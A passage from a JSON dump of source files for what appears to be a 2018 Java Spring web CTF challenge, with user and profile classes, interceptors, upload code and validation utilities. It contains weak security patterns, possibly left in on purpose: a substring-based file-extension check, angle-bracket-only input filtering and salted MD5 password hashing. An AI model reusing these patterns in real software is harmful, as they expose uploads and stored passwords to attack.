politics_status + '\\'' +\n                \", type='\" + type + '\\'' +\n                \", school='\" + school + '\\'' +\n                \", grade='\" + grade + '\\'' +\n                \", address='\" + address + '\\'' +\n                \", postcode='\" + postcode + '\\'' +\n                \", phone='\" + phone + '\\'' +\n                \", height='\" + height + '\\'' +\n                \", weight='\" + weight + '\\'' +\n                \", mail='\" + mail + '\\'' +\n                \", father_name='\" + father_name + '\\'' +\n                \", father_job='\" + father_job + '\\'' +\n                \", father_phone='\" + father_phone + '\\'' +\n                \", mother_name='\" + mother_name + '\\'' +\n                \", mother_job='\" + mother_job + '\\'' +\n                \", mother_phone='\" + mother_phone + '\\'' +\n                \", hobby='\" + hobby + '\\'' +\n                \", description='\" + description + '\\'' +\n                '}';\n    }\n\n    public String getIDnumber() {\n        return IDnumber;\n    }\n\n    public void setIDnumber(String IDnumber) {\n        this.IDnumber = IDnumber;\n    }\n\n    public int getId() {\n        return id;\n    }\n\n    public void setId(int id) {\n        this.id = id;\n    }\n\n    public int getUser_id() {\n        return user_id;\n    }\n\n    public void setUser_id(int user_id) {\n        this.user_id = user_id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String getGender() {\n        return gender;\n    }\n\n    public void setGender(String gender) {\n        this.gender = gender;\n    }\n\n    public String getBirthday() {\n        return birthday;\n    }\n\n    public void setBirthday(String birthday) {\n        this.birthday = birthday;\n    }\n\n    public String getProvince() {\n        return province;\n    }\n\n    public void setProvince(String province) {\n        this.province = province;\n    }\n\n    public String getNation() {\n        return nation;\n    }\n\n    public void setNation(String nation) {\n        this.nation = nation;\n    }\n\n    public String getPolitics_status() {\n        return politics_status;\n    }\n\n    public void setPolitics_status(String politics_status) {\n        this.politics_status = politics_status;\n    }\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    public String getSchool() {\n        return school;\n    }\n\n    public void setSchool(String school) {\n        this.school = school;\n    }\n\n    public String getGrade() {\n        return grade;\n    }\n\n    public void setGrade(String grade) {\n        this.grade = grade;\n    }\n\n    public String getAddress() {\n        return address;\n    }\n\n    public void setAddress(String address) {\n        this.address = address;\n    }\n\n    public String getPostcode() {\n        return postcode;\n    }\n\n    public void setPostcode(String postcode) {\n        this.postcode = postcode;\n    }\n\n    public String getPhone() {\n        return phone;\n    }\n\n    public void setPhone(String phone) {\n        this.phone = phone;\n    }\n\n    public String getHeight() {\n        return height;\n    }\n\n    public void setHeight(String height) {\n        this.height = height;\n    }\n\n    public String getWeight() {\n        return weight;\n    }\n\n    public void setWeight(String weight) {\n        this.weight = weight;\n    }\n\n    public String getMail() {\n        return mail;\n    }\n\n    public void setMail(String mail) {\n        this.mail = mail;\n    }\n\n    public String getFather_name() {\n        return father_name;\n    }\n\n    public void setFather_name(String father_name) {\n        this.father_name = father_name;\n    }\n\n    public String getFather_job() {\n        return father_job;\n    }\n\n    public void setFather_job(String father_job) {\n        this.father_job = father_job;\n    }\n\n    public String getFather_phone() {\n        return father_phone;\n    }\n\n    public void setFather_phone(String father_phone) {\n        this.father_phone = father_phone;\n    }\n\n    public String getMother_name() {\n        return mother_name;\n    }\n\n    public void setMother_name(String mother_name) {\n        this.mother_name = mother_name;\n    }\n\n    public String getMother_job() {\n        return mother_job;\n    }\n\n    public void setMother_job(String mother_job) {\n        this.mother_job = mother_job;\n    }\n\n    public String getMother_phone() {\n        return mother_phone;\n    }\n\n    public void setMother_phone(String mother_phone) {\n        this.mother_phone = mother_phone;\n    }\n\n    public String getHobby() {\n        return hobby;\n    }\n\n    public void setHobby(String hobby) {\n        this.hobby = hobby;\n    }\n\n    public String getDescription() {\n        return description;\n    }\n\n    public void setDescription(String description) {\n        this.description = description;\n    }\n\n    public String getPhoto() {\n        return photo;\n    }\n\n    public void setPhoto(String photo) {\n        this.photo = photo;\n    }\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/domain/User.java",
    "content": "package com.bupt.domain;\n\nimport java.io.Serializable;\n\n/**\n */\npublic class User implements Serializable{\n    public int id;\n    public String username;\n    public String password;\n    public String email;\n    public String salt;\n    public String head_url;\n\n    public int score;\n\n    public String checkcode;\n    public String time;\n    public int first;\n    public String pdd;\n\n    public static final int UNSUBMITTED = 0;\n    public static final int SUBMITTED = 1;\n    public static final int ADMIN = 2;\n\n    public int getFirst() {\n        return first;\n    }\n\n    public void setFirst(int first) {\n        this.first = first;\n    }\n\n    public String getCheckcode() {\n        return checkcode;\n    }\n\n    public void setCheckcode(String checkcode) {\n        this.checkcode = checkcode;\n    }\n\n    public String getTime() {\n        return time;\n    }\n\n    public void setTime(String time) {\n        this.time = time;\n    }\n\n    public int getScore() {\n        return score;\n    }\n\n    public void setScore(int score) {\n        this.score = score;\n    }\n\n    public int getId() {\n        return id;\n    }\n\n    public void setId(int id) {\n        this.id = id;\n    }\n\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n\n    public String getEmail() {\n        return email;\n    }\n\n    public void setEmail(String email) {\n        this.email = email;\n    }\n\n    public String getSalt() {\n        return salt;\n    }\n\n    public void setSalt(String salt) {\n        this.salt = salt;\n    }\n\n    public String getHead_url() {\n        return head_url;\n    }\n\n    public void setHead_url(String head_url) {\n        this.head_url = head_url;\n    }\n\n    public String getPdd() {\n        return pdd;\n    }\n\n    public void setPdd(String pdd) {\n        this.pdd = pdd;\n    }\n\n    @Override\n    public String toString() {\n        return \"User{\" +\n                \"id=\" + id +\n                \", username='\" + username + '\\'' +\n                \", password='\" + password + '\\'' +\n                \", email='\" + email + '\\'' +\n                \", salt='\" + salt + '\\'' +\n                \", head_url='\" + head_url + '\\'' +\n                \", score=\" + score +\n                \", checkcode='\" + checkcode + '\\'' +\n                \", time='\" + time + '\\'' +\n                \", first=\" + first +\n                \", pdd='\" + pdd + '\\'' +\n                '}';\n    }\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/exception/CustomException.java",
    "content": "package com.bupt.exception;\n\npublic class CustomException extends Exception {\n    public String message;\n\n    public CustomException(String message) {\n        super(message);\n        this.message=message;\n    }\n\n    public String getMessage() {\n        return message;\n    }\n\n    public void setMessage(String message) {\n        this.message = message;\n    }\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/exception/CustomExceptionResolver.java",
    "content": "package com.bupt.exception;\n\nimport org.springframework.web.servlet.HandlerExceptionResolver;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\npublic class CustomExceptionResolver implements HandlerExceptionResolver {\n    public ModelAndView resolveException(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Object o, Exception e) {\n\n        ModelAndView modelAndView = new ModelAndView();\n\n        CustomException customException;\n\n        String message = \"exception\";\n        System.out.println(\"com.bupt.exception.CustomExceptionResolver\");\n\n        modelAndView.addObject(\"message\", message);\n        modelAndView.setViewName(\"error\");\n\n        return modelAndView;\n    }\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/exception/ParamException.java",
    "content": "package com.bupt.exception;\n\npublic class ParamException extends RuntimeException {\n    public ParamException() {\n        super();\n    }\n\n    public ParamException(String message) {\n        super(message);\n    }\n\n    public ParamException(String message, Throwable cause) {\n        super(message, cause);\n    }\n\n    public ParamException(Throwable cause) {\n        super(cause);\n    }\n\n    protected ParamException(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) {\n        super(message, cause, enableSuppression, writableStackTrace);\n    }\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/exception/PermissionException.java",
    "content": "package com.bupt.exception;\n\npublic class PermissionException extends RuntimeException {\n\n    public PermissionException() {\n        super();\n    }\n\n    public PermissionException(String message) {\n        super(message);\n    }\n\n    public PermissionException(String message, Throwable cause) {\n        super(message, cause);\n    }\n\n    public PermissionException(Throwable cause) {\n        super(cause);\n    }\n\n    protected PermissionException(String message, Throwable cause, boolean enableSuppression, boolean writableStackTrace) {\n        super(message, cause, enableSuppression, writableStackTrace);\n    }\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/interceptor/FileTypeInterceptor.java",
    "content": "package com.bupt.interceptor;\n\nimport org.springframework.web.multipart.MultipartFile;\nimport org.springframework.web.multipart.MultipartHttpServletRequest;\nimport org.springframework.web.servlet.handler.HandlerInterceptorAdapter;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.util.Iterator;\nimport java.util.Map;\n\n/**\n */\npublic class FileTypeInterceptor extends HandlerInterceptorAdapter {\n    @Override\n    public boolean preHandle(HttpServletRequest request,\n                             HttpServletResponse response, Object handler)throws Exception {\n        boolean flag= true;\n        if (request instanceof MultipartHttpServletRequest) {\n            MultipartHttpServletRequest multipartRequest = \n                    (MultipartHttpServletRequest) request;\n            Map<String, MultipartFile> files =\n                                       multipartRequest.getFileMap();\n            Iterator<String> iterator = files.keySet().iterator();\n            while (iterator.hasNext()) {\n                String formKey = (String) iterator.next();\n                MultipartFile multipartFile = \n                              multipartRequest.getFile(formKey);\n                String filename=multipartFile.getOriginalFilename();\n                System.out.println(\"fileSize:\"+multipartFile.getSize());\n                if (! checkFile(filename)) {\n                    request.setAttribute(\"message\", \"不支持的文件类型！\");\n                    request.getRequestDispatcher(\"/WEB-INF/jsp/error.jsp\")\n                    .forward(request, response); \n                    flag= false;\n                } else if(multipartFile.getSize()>4*1024*1000){//文件不能超过4M\n                    System.out.println(\"fileSize:\"+multipartFile.getSize());\n                    request.setAttribute(\"message\", \"上传文件大小超过4M的大小限制！\");\n                    request.getRequestDispatcher(\"/WEB-INF/jsp/error.jsp\")\n                            .forward(request, response);\n                    flag= false;\n                }\n            }\n        }\n        return flag;\n    }\n    /**\n     */\n    private boolean checkFile(String fileName) {\n        //设置允许上传文件类型\n        String suffixList = \"jpg,png,jpeg\";\n        // 获取文件后缀\n        String suffix = fileName.substring(fileName.lastIndexOf(\".\")\n                + 1, fileName.length());\n        if (suffixList.contains(suffix.trim().toLowerCase())) {\n            return true;\n        }\n        return false;\n    }\n}"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/interceptor/LoginInterceptor.java",
    "content": "package com.bupt.interceptor;\n\nimport com.bupt.utils.SystemDateTimeChecker;\nimport org.springframework.web.servlet.HandlerInterceptor;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\n\npublic class LoginInterceptor implements HandlerInterceptor {\n\n    public void afterCompletion(HttpServletRequest request,\n                                HttpServletResponse response, Object handler, Exception exc)\n            throws Exception {\n\n    }\n\n    public void postHandle(HttpServletRequest request, HttpServletResponse response,\n                           Object handler, ModelAndView modelAndView) throws Exception {\n    }\n\n    public boolean preHandle(HttpServletRequest request, HttpServletResponse response,\n                             Object handler) throws Exception {\n\n        String url = request.getRequestURI();\n\n        HttpSession session = request.getSession();\n        String username = (String) session.getAttribute(\"username\");\n\n        if (username != null) {\n            return true;\n        }\n        request.setAttribute(\"message\",\"请登录！\");\n        request.getRequestDispatcher(\"/WEB-INF/jsp/login.jsp\").forward(request, response);\n        return false;\n    }\n\n}\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/service/UserService.java",
    "content": "package com.bupt.service;\n\nimport com.bupt.canstants.Canstants;\nimport com.bupt.dao.UserDao;\nimport com.bupt.domain.LoginLog;\nimport com.bupt.domain.User;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\nimport org.springframework.transaction.annotation.Transactional;\n\nimport java.security.NoSuchAlgorithmException;\n\n/**\n */\n\n@Service\npublic class UserService {\n    private UserDao userDao;\n\n\n\n    public String registerPerson(User person) {\n\n        if(null ==person.getUsername() || null ==person.getPassword() || null ==person.getEmail()){\n            return Canstants.regFail;\n        }\n\n        return null;\n    }\n\n\n    @Autowired\n    public void setUserDao(UserDao userDao) {\n        this.userDao = userDao;\n    }\n\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/service/upload/Thumbnail.java",
    "content": "package com.bupt.service.upload;\n\nimport net.coobird.thumbnailator.Thumbnails;\nimport org.springframework.stereotype.Service;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.File;\nimport java.io.IOException;\n\n@Service\npublic class Thumbnail {  \n      \n    public static final int witdth=150;\n    public static final int heigth=150;\n      \n    /*       \n     */\n    public String generateThumbnail(MultipartFile file, String realUploadPath,String uuidFileName) throws IOException\n    {\n        File uploadFile=new File(realUploadPath+\"/thumbImages\");\n        if(!uploadFile.exists()){  \n            uploadFile.mkdirs();  \n        }\n        String fileName = file.getOriginalFilename();\n        String suffix = fileName.substring(fileName.lastIndexOf(\".\") + 1);\n\n        String des=realUploadPath+\"/thumbImages/\"+uuidFileName+\".\"+suffix;\n        Thumbnails.of(file.getInputStream()).size(witdth, heigth).toFile(des);\n        return \"images/thumbImages/\"+uuidFileName+\".\"+suffix;\n    }  \n  \n}  "
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/service/upload/Upload.java",
    "content": "package com.bupt.service.upload;\n\nimport org.springframework.stereotype.Service;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.*;\n\n@Service\npublic class Upload {  \n      \n    /* \n     */\n    public String uploadImage(MultipartFile file, String realUploadPath, String uuidFileName) throws IOException\n    {  \n        File uploadFile=new File(realUploadPath+\"/rawImages\");\n        if(!uploadFile.exists()){  \n            uploadFile.mkdirs();  \n        }\n        String fileName = file.getOriginalFilename();\n        String suffix = fileName.substring(fileName.lastIndexOf(\".\") + 1);\n        ;\n        InputStream inputStream=file.getInputStream();\n        String outputPath=realUploadPath+\"/rawImages/\"+uuidFileName+\".\"+suffix;\n        OutputStream outputStream=new FileOutputStream(outputPath);\n        byte[] buffer=new byte[1024];\n          \n        while((inputStream.read(buffer))>0)\n        {  \n          outputStream.write(buffer);  \n        }  \n        outputStream.close();  \n        return \"images/rawImages/\"+uuidFileName+\".\"+suffix;\n    }  \n  \n}  \n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/AuthImage.java",
    "content": "package com.bupt.utils;\nimport java.io.IOException;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\n\npublic class AuthImage extends javax.servlet.http.HttpServlet implements javax.servlet.Servlet {\n    static final long serialVersionUID = 1L;\n\n    public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\n        System.out.println(\"verCode\");\n\n        response.setHeader(\"Pragma\", \"No-cache\");\n        response.setHeader(\"Cache-Control\", \"no-cache\");\n        response.setDateHeader(\"Expires\", 0);\n        response.setContentType(\"image/jpeg\");\n\n        String verifyCode = VerifyCodeUtils.generateVerifyCode(4);\n        HttpSession session = request.getSession(true);\n        session.removeAttribute(\"verCode\");\n        session.setAttribute(\"verCode\", verifyCode.toLowerCase());\n        int w = 100, h = 30;\n        VerifyCodeUtils.outputImage(w, h, response.getOutputStream(), verifyCode);\n\n    }\n}"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/Check.java",
    "content": "package com.bupt.utils;\n\nimport com.bupt.domain.Profile;\n\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\npublic class Check {\n\n    public static String removeIllegalChar(String str) {\n        return str.replace('<', ' ').replace('>', ' ');\n    }\n\n    public static boolean checkProfile(Profile profile){\n\n        try {\n            if (profile.getName() == null || profile.getName().trim().equals(\"\")) {\n                System.out.println('1');\n                return false;\n            }\n            if (profile.getGender() == null || profile.getGender().trim().equals(\"\")\n                    ||!(\n                        profile.getGender().equals(\"男\")\n                        ||profile.getGender().equals(\"女\")\n                    )){\n                System.out.println('1');\n                return false;\n            }\n            if (profile.getBirthday() == null || profile.getBirthday().trim().equals(\"\")) {\n                System.out.println('2');\n                System.out.println(profile.getBirthday());\n                return false;\n            }\n\n            if (profile.getType() == null || profile.getType().trim().equals(\"\") ||\n                    !(\n                        profile.getType().equals(\"理科\")\n                        || profile.getType().equals(\"文科\")\n                        || profile.getType().equals(\"综合改革\")\n                    )){\n                System.out.println('3');\n                return false;\n            }\n\n            if (profile.getPhone() == null || profile.getPhone().trim().equals(\"\") || !checkCellphone(profile.getPhone())) {\n                System.out.println('4');\n                return false;\n            }\n            if (profile.getMail() == null || profile.getMail().trim().equals(\"\") || !checkEmail(profile.getMail())) {\n                System.out.println('5');\n                return false;\n            }\n\n            if (profile.getHobby().length() > 200) {\n                System.out.println('6');\n                return false;\n            }\n            if (profile.getDescription().length() > 600) {\n                System.out.println('7');\n                return false;\n            }\n        }catch (Exception e){\n            return false;\n        }\n        return true;\n    }\n\n    static boolean flag = false;\n    static String regex = \"\";\n\n    public static boolean check(String str, String regex) {\n        try {\n            Pattern pattern = Pattern.compile(regex);\n            Matcher matcher = pattern.matcher(str);\n            flag = matcher.matches();\n        } catch (Exception e) {\n            flag = false;\n        }\n        return flag;\n    }\n\n    /**\n     * 匹配密码\n     */\n    public static boolean isPwd(String str) {\n        regex = \"^[a-zA-Z]\\\\w{6,12}$\";\n        return check(str, regex) ? false : true;\n    }\n\n    /**\n     * 验证非空\n     *\n     * @return\n     */\n    public static boolean checkNotEmputy(String notEmputy) {\n        if(notEmputy==null||notEmputy.trim().equals(\"\")){\n            return false;\n        }\n        regex = \"^\\\\s*$\";\n        return check(notEmputy, regex) ? false : true;\n    }\n\n\n    /**\n     * 验证邮箱\n     *\n     * @param email\n     * @return\n     */\n    public static boolean checkEmail(String email) {\n        String regex = \"^([A-Za-z0-9_\\\\-\\\\.])+\\\\@([A-Za-z0-9_\\\\-\\\\.])+\\\\.([A-Za-z]{2,4})$\";\n        return check(email, regex);\n    }\n\n    /**\n     * 验证手机号码\n     * <p>\n     * 移动号码段:139、138、137、136、135、134、150、151、152、157、158、159、182、183、187、188、147\n     * 联通号码段:130、131、132、136、185、186、145\n     * 电信号码段:133、153、180、189\n     *\n     * @param cellphone\n     * @return\n     */\n    public static boolean checkCellphone(String cellphone) {\n        String regex = \"^1[34578]\\\\d{9}$\";\n        return check(cellphone, regex);\n    }\n\n    /**\n     * 验证固话号码\n     *\n     * @param telephone\n     * @return\n     */\n    public static boolean checkTelephone(String telephone) {\n        String regex = \"^(0\\\\d{2}-\\\\d{8}(-\\\\d{1,4})?)|(0\\\\d{3}-\\\\d{7,8}(-\\\\d{1,4})?)$\";\n        return check(telephone, regex);\n    }\n\n\n    public static boolean checkUserName(String username){\n        if(username==null){\n            return false;\n        }\n        String reg = \"^[0-9a-zA-Z@.+\\\\-_]{1,30}$\";\n        return Pattern.matches(reg, username);\n    }\n\n    public static boolean checkPassword(String password){\n        if(password==null){\n            return false;\n        }\n        String reg = \"^[0-9a-zA-Z]{6,12}$\";\n        return Pattern.matches(reg, password);\n    }\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/MD5Util.java",
    "content": "package com.bupt.utils;\n\nimport java.security.MessageDigest;\n\npublic class MD5Util {\n\n    public static String getPasswordMD5(String password, String salt) {\n        return getMD5(password + salt);\n    }\n\n    public static String getMD5(String message) {\n        String md5 = \"\";\n        try {\n            MessageDigest md = MessageDigest.getInstance(\"MD5\");  // 创建一个md5算法对象\n            byte[] messageByte = message.getBytes(\"UTF-8\");\n            byte[] md5Byte = md.digest(messageByte);              // 获得MD5字节数组,16*8=128位\n            md5 = bytesToHex(md5Byte);                            // 转换为16进制字符串\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        return md5;\n    }\n    // 二进制转十六进制\n    public static String bytesToHex(byte[] bytes) {\n        StringBuffer hexStr = new StringBuffer();\n        int num;\n        for (int i = 0; i < bytes.length; i++) {\n            num = bytes[i];\n            if(num < 0) {\n                num += 256;\n            }\n            if(num < 16){\n                hexStr.append(\"0\");\n            }\n            hexStr.append(Integer.toHexString(num));\n        }\n        return hexStr.toString().toUpperCase();\n    }\n\n}\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/MailUtil.java",
    "content": "package com.bupt.utils;\n\nimport javax.mail.*;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\nimport java.io.InputStream;\nimport java.util.Properties;\n\npublic class MailUtil {\n    private static final String PROPERTIES_DEFAULT = \"sysConfig.properties\";\n    private static Properties props;\n    \n\n    static {\n    \tprops = new Properties();\n        try{\n            InputStream inputStream = MailUtil.class.getClassLoader().getResourceAsStream(PROPERTIES_DEFAULT);\n            props.load(inputStream);\n            inputStream.close();\n        }catch (Exception e) {\n        \te.printStackTrace();\n\t\t}\n    }\n    \n    /**\n     * @param to 接收方地址\n     * @param title 邮件标题\n     * @param content 邮件内容\n     * @throws Exception \n     */\n    public static void sendMail(String to,String title,String content)throws Exception{\n    \tfinal String username = props.getProperty(\"mail.username\");\n    \tfinal String password = props.getProperty(\"mail.password\");\n    \tSession session = Session.getInstance(props,new Authenticator() {\n    \t\t public PasswordAuthentication getPasswordAuthentication(){\n    \t\t\t    return new PasswordAuthentication(username, password);\n            }\n        });\n    \t//2.创建邮件对象\n    \tMessage message = new MimeMessage(session);\n    \t//2.1 设置发件人\n    \tmessage.setFrom(new InternetAddress(username));\n    \t//2.2设置收件人\n    \tmessage.addRecipient(Message.RecipientType.CC, new InternetAddress(username));\n    \tmessage.addRecipient(Message.RecipientType.TO, new InternetAddress(to));\n    \t//2.3设置主题\n    \tmessage.setSubject(title); // 加载标题  \n    \t//2.4 设置内容\n    \tmessage.setContent(content, \"text/html;charset=utf-8\");\n    \t// 3.创建 Transport用于将邮件发送\n    \tTransport.send(message);\n    }\n}"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/java/com/bupt/utils/ProfileExcelExportUtils.java",
    "content": "package com.bupt.utils;\n\nimport com.bupt.domain.Profile;\nimport org.apache.poi.hssf.usermodel.*;\n\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.util.List;\n\n/**\n */\npublic class ProfileExcelExportUtils {\n\tprivate static final String[] title = {\n\t\t\t\"编号\",\"姓名\",\"性别\",\"出生年月\",\"省份\",\"民族\",\"政治面貌\",\"身份证号\",\n\t\t\t\"类型\",\"学校\",\"年级\",\"通信地址\",\"邮编\",\"联系电话\",\"身高\",\"体重\",\"邮箱\",\n\t\t\t\"父亲姓名\",\"父亲职务\",\"父亲联系电话\",\"母亲姓名\",\"母亲职务\",\"母亲联系电话\",\"兴趣爱好\",\n\t\t\t\"个人描述信息\"};//标题名称\n\tprivate static HSSFWorkbook workbook = null;\n\tprivate static HSSFCellStyle borderStyle = null;\n\tprivate static HSSFCellStyle pureTextCellStyle = null;\n\n\t/**\n\t * @param filePath 生成excel的文件路径\n\t * @param profileList 数据源信息\n\t * @return excel文件\n\t */\n\tpublic static File generateExcel(String filePath,List<Profile> profileList) {\n\t\tFile file = null;\n\t\tFileOutputStream fileOutputStream = null;\n\t\ttry {\n\t\t\t//创建工作簿\n\t\t\tworkbook = new HSSFWorkbook();\n\t\t\t//创建Sheet\n\t\t\tHSSFSheet sheet = workbook.createSheet();\n\t\t\tsetColumeWidth(sheet);\n\t\t\t//创建第一行\n\t\t\tHSSFRow row = sheet.createRow(0);\n\t\t\tHSSFCell cell = null;\n\n\t\t\t//设置字体，样式格式\n\t\t\tHSSFCellStyle style = setStyleAndFont();\n\n\t\t\t//第一行设置列名\n\t\t\tfor(int i=0;i<title.length;i++) {\n\t\t\t\tcell = row.createCell(i);\n\t\t\t\tcell.setCellStyle(style);\n\t\t\t\tcell.setCellValue(title[i]);\n\t\t\t}\n\n\t\t\t//下面追加数据\n\t\t\tint num = 1;\n\t\t\tfor(Profile profile:profileList) {\n\t\t\t\taddOneProfile(num++,sheet,profile);\n\t\t\t}\n\n\t\t\tfile = new File(filePath);\n\t\t\tfile.createNewFile();\n\t\t\tfileOutputStream = new FileOutputStream(file);\n\t\t\t//写入数据\n\t\t\tworkbook.write(fileOutputStream);\n\t\t\t//关闭\n\t\t\tworkbook.close();\n\t\t\tfileOutputStream.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn file;\n\t}\n\n\tprivate static HSSFCellStyle setStyleAndFont() {\n\t\t//基础字体格式\n\t\tHSSFFont font = workbook.createFont();\n\t\tfont.setFontName(\"宋体\");//宋体\n\t\tfont.setFontHeightInPoints((short) 10);// 设置字体大小\n\n\t\t//设置格式为基础样式格式\n\t\tborderStyle = workbook.createCellStyle();\n\t\tborderStyle.setAlignment(HSSFCellStyle.ALIGN_CENTER);//居中\n\t\tborderStyle.setBorderBottom(HSSFCellStyle.BORDER_THIN); //下边框\n\t\tborderStyle.setBorderLeft(HSSFCellStyle.BORDER_THIN);//左边框\n\t\tborderStyle.setBorderTop(HSSFCellStyle.BORDER_THIN);//上边框\n\t\tborderStyle.setBorderRight(HSSFCellStyle.BORDER_THIN);//右边框\n\t\tborderStyle.setFont(font);\n\n\t\t//设置格式为文本格式 的样式\n\t\tpureTextCellStyle = workbook.createCellStyle();\n\t\tHSSFDataFormat format = workbook.createDataFormat();\n\t\tpureTextCellStyle.setDataFormat(format.getFormat(\"@\"));\n\t\tpureTextCellStyle.setAlignment(HSSFCellStyle.ALIGN_CENTER);//居中\n\t\tpureTextCellStyle.setBorderBottom(HSSFCellStyle.BORDER_THIN); //下边框\n\t\tpureTextCellStyle.setBorderLeft(HSSFCellStyle.BORDER_THIN);//左边框\n\t\tpureTextCellStyle.setBorderTop(HSSFCellStyle.BORDER_THIN);//上边框\n\t\tpureTextCellStyle.setBorderRight(HSSFCellStyle.BORDER_THIN);//右边框\n\t\tpureTextCellStyle.setFont(font);\n\n\t\t//设置标题行样式\n\t\tHSSFCellStyle style = workbook.createCellStyle();\n\t\tstyle.setAlignment(HSSFCellStyle.ALIGN_CENTER);//居中\n\t\tstyle.setBorderBottom(HSSFCellStyle.BORDER_THIN); //下边框\n\t\tstyle.setBorderLeft(HSSFCellStyle.BORDER_THIN);//左边框\n\t\tstyle.setBorderTop(HSSFCellStyle.BORDER_THIN);//上边框\n\t\tstyle.setBorderRight(HSSFCellStyle.BORDER_THIN);//右边框\n\t\tstyle.setVerticalAlignment(HSSFCellStyle.BORDER_THIN);//水平居中\n\t\tHSSFFont fontTitle = workbook.createFont();\n\t\tfontTitle.setFontName(\"宋体\");//宋体\n\t\tfontTitle.setBoldweight(HSSFFont.BOLDWEIGHT_BOLD);//加粗\n\t\tfontTitle.setFontHeightInPoints((short) 12);// 设置字体大小\n\t\tstyle.setFont(fontTitle);\n\t\treturn style;\n\t}\n\n\t/**\n\t *\n\t */\n\tprivate static void setColumeWidth(HSSFSheet sheet) {\n\t\tsheet.setColumnWidth(0, 6 * 256);//编号\n\t\tsheet.setColumnWidth(1, 10 * 256);//姓名\n\t\tsheet.setColumnWidth(2, 6 * 256);//性别\n\t\tsheet.setColumnWidth(3, 12 * 256);//出生年月\n\t\tsheet.setColumnWidth(4, 12 * 256);//省份\n\t\tsheet.setColumnWidth(5, 8 * 256);//民族\n\t\tsheet.setColumnWidth(6, 12 * 256);//政治面貌\n\t\tsheet.setColumnWidth(7, 22 * 256);//身份证号\n\t\tsheet.setColumnWidth(8, 10 * 256);//类型\n\t\tsheet.setColumnWidth(9, 20 * 256);//学校\n\t\tsheet.setColumnWidth(10, 10 * 256);//年级\n\t\tsheet.setColumnWidth(11, 25 * 256);//通信地址\n\t\tsheet.setColumnWidth(12, 10 * 256);//邮编\n\t\tsheet.setColumnWidth(13, 15 * 256);//联系电话\n\t\tsheet.setColumnWidth(14, 6 * 256);//身高\n\t\tsheet.setColumnWidth(15, 6 * 256);//体重\n\t\tsheet.setColumnWidth(16, 20 * 256);//邮箱\n\t\tsheet.setColumnWidth(17, 10 * 256);//父亲姓名\n\t\tsheet.setColumnWidth(18, 15 * 256);//父亲职务\n\t\tsheet.setColumnWidth(19, 15 * 256);//父亲联系电话\n\t\tsheet.setColumnWidth(20, 10 * 256);//母亲姓名\n\t\tsheet.setColumnWidth(21, 15 * 256);//母亲职务\n\t\tsheet.setColumnWidth(22, 15 * 256);//母亲联系电话\n\t\tsheet.setColumnWidth(23, 40 * 256);//兴趣爱好\n\t\tsheet.setColumnWidth(24, 80 * 256);//个人描述信息\n\t}\n\n\t/**\n\t */\n\tprivate static void addOneProfile(int num,HSSFSheet sheet, Profile profile){\n\n\n\t\tint count = 0;\n\t\tHSSFRow row = sheet.createRow(num);\n\t\tHSSFCell cell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(String.valueOf(num));//编号\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getName());//姓名\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getGender());//性别\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getBirthday());//出生年月\n\t\tcell = row.createCell(count++);\n\t\tcell.setCellStyle(borderStyle);\n\t\tcell.setCellValue(profile.getProvince());//省份\n\t\tcell = 